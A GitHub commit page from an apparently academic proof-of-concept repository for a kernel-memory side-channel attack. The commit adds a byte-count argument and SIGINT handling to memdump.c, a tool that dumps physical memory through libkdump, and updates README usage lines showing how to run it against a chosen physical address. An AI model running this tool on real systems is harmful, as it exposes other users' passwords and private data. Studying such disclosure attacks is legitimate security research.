Skip to content

Commit

Permalink
memdump: specify size or interrupt by SIGINT
Browse files Browse the repository at this point in the history
Add size limit for memdump or interrupt it by SIGINT, it will
exit gracefully.

Signed-off-by: Pavel Boldin <[email protected]>
  • Loading branch information
paboldin committed Jan 13, 2018
1 parent 6f4e8f9 commit 89fd26d
Show file tree
Hide file tree
Showing 2 changed files with 18 additions and 5 deletions.
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -140,10 +140,10 @@ make
Then, run the `memdump` tool to dump memory contents. If you executed `memory_filler` before, you should see some string fragments.
If you have Firefox or Chrome with multiple tabs running, you might also see parts of the websites which are open or were recently closed.

The first parameter is the physical address at which the dump should begin (leave empty to start at the first gigabyte). If you do not have KASLR disabled, the second parameter is the offset of the direct physical map.
The first parameter is the physical address at which the dump should begin (leave empty to start at the first gigabyte). The second parameter is the amount of bytes you want to be read, to read it all give -1. If you do not have KASLR disabled, the third parameter is the offset of the direct physical map.

```bash
taskset 0x1 ./memdump 0x240000000 0xffff880000000000 # start at 9 GB
taskset 0x1 ./memdump 0x240000000 -1 0xffff880000000000 # start at 9 GB
```

You should get a hexdump of parts of the memory (potentially even containing secrets such as passwords, see example in the paper), e.g.:
Expand Down
19 changes: 16 additions & 3 deletions memdump.c
Original file line number Diff line number Diff line change
@@ -1,12 +1,23 @@
#include "libkdump.h"
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>

static int running = 1;

void sigint(int signum __attribute__((unused))) {
running = 0;
}

int main(int argc, char *argv[]) {
size_t phys = 1ull * 1024ull * 1024ull * 1024ull; // start at first gigabyte
size_t size = -1ULL;
if (argc >= 2) {
phys = strtoull(argv[1], NULL, 0);
}
if (argc >= 3) {
size = strtoull(argv[2], NULL, 0);
}

int width = 16; // characters per line
int suppress_empty = 1;
Expand All @@ -15,8 +26,8 @@ int main(int argc, char *argv[]) {
config = libkdump_get_autoconfig();
config.retries = 10;
config.measurements = 2;
if (argc >= 3) {
config.physical_offset = strtoull(argv[2], NULL, 0);
if (argc >= 4) {
config.physical_offset = strtoull(argv[3], NULL, 0);
}

libkdump_init(config);
Expand All @@ -31,7 +42,9 @@ int main(int argc, char *argv[]) {
int i;
char *buffer = malloc(width);

while (1) {
signal(SIGINT, sigint);

while (running && delta < size) {
int value = libkdump_read(vaddr + delta);
buffer[delta % width] = value;

Expand Down

0 comments on commit 89fd26d

Please sign in to comment.